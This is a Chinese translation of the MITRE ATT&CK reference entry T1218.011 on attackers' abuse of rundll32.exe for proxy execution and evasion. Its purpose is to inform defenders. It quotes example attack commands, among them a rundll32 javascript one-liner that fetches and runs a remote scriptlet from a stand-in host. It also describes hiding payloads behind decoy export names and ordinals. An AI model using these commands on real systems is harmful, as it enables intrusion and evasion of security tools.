T1218.011: Rundll32
摘要
攻击者可能滥用 rundll32.exe 代理执行恶意代码。使用 rundll32.exe 而非直接执行(即[共享模块](https://attack.mitre.org/techniques/T1129)),可能避免触发那些因允许列表或正常操作的误报而可能不监控 rundll32.exe 进程执行的安全工具。Rundll32.exe 通常与执行 DLL 载荷相关联(例如:<code>rundll32.exe {DLLname, DLLfunction}</code>)。 Rundll32.exe 还可用于通过未文档化的 shell32.dll 函数 <code>Control_RunDLL</code> 和 <code>Control_RunDLLAsUser</code> 执行[控制面板](https://attack.mitre.org/techniques/T1218/002)项文件 (.cpl)。双击 .cpl 文件也会导致 rundll32.exe 执行。(Citation: Trend Micro CPL) 例如,[ClickOnce](https://attack.mitre.org/techniques/T1127/002) 可以通过 Rundll32.exe 代理。 Rundll32 还可用于执行 JavaScript 等脚本。可以使用如下语法:<code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> 此行为已被 Poweliks 等恶意软件使用。(Citation: This is Security Command Line Confusion) 威胁行为者还可能滥用合法的、已签名的系统 DLL(例如 <code>zipfldr.dll, ieframe.dll</code>)配合 <code>rundll32.exe</code> 间接执行恶意程序或脚本,使其活动看起来更合法并逃避检测。(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) 攻击者还可能通过滥用 rundll32.exe 加载 DLL 函数名的方式,试图对分析隐藏恶意代码。作为对各种字符集的 Windows 兼容性支持的一部分,rundll32.exe 会先检查宽字符/Unicode 函数,然后检查 ANSI 字符支持的函数,之后才加载指定函数(例如,给定命令 <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>,rundll32.exe 会首先尝试执行 <code>ExampleFunctionW</code>,若失败则尝试 <code>ExampleFunctionA</code>,然后才加载 <code>ExampleFunction</code>)。因此,攻击者可能通过创建多个相同的导出函数名并向无害函数追加 <code>W</code> 和/或 <code>A</code> 来隐藏恶意代码。(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL 函数也可以按序数导出和执行(例如:<code>rundll32.exe file.dll,#1</code>)。 此外,攻击者可能使用[伪装](https://attack.mitre.org/techniques/T1036)技术(如更改 DLL 文件名、文件扩展名或函数名)来进一步隐藏恶意载荷的执行。(Citation: rundll32.exe defense evasion)
来源归属
来源:MITRE ATT&CK · 置信度:high
平台
- Windows
战术
Stealth
参考来源
- https://attack.mitre.org/techniques/T1218/011
- https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/
- https://www.attackify.com/blog/rundll32_execution_order/
- https://www.stormshield.com/news/poweliks-command-line-confusion/
- https://github.com/gtworek/PSBits/tree/master/NoRunDll
- https://lolbas-project.github.io/lolbas/Libraries/Ieframe/
- https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/
- https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf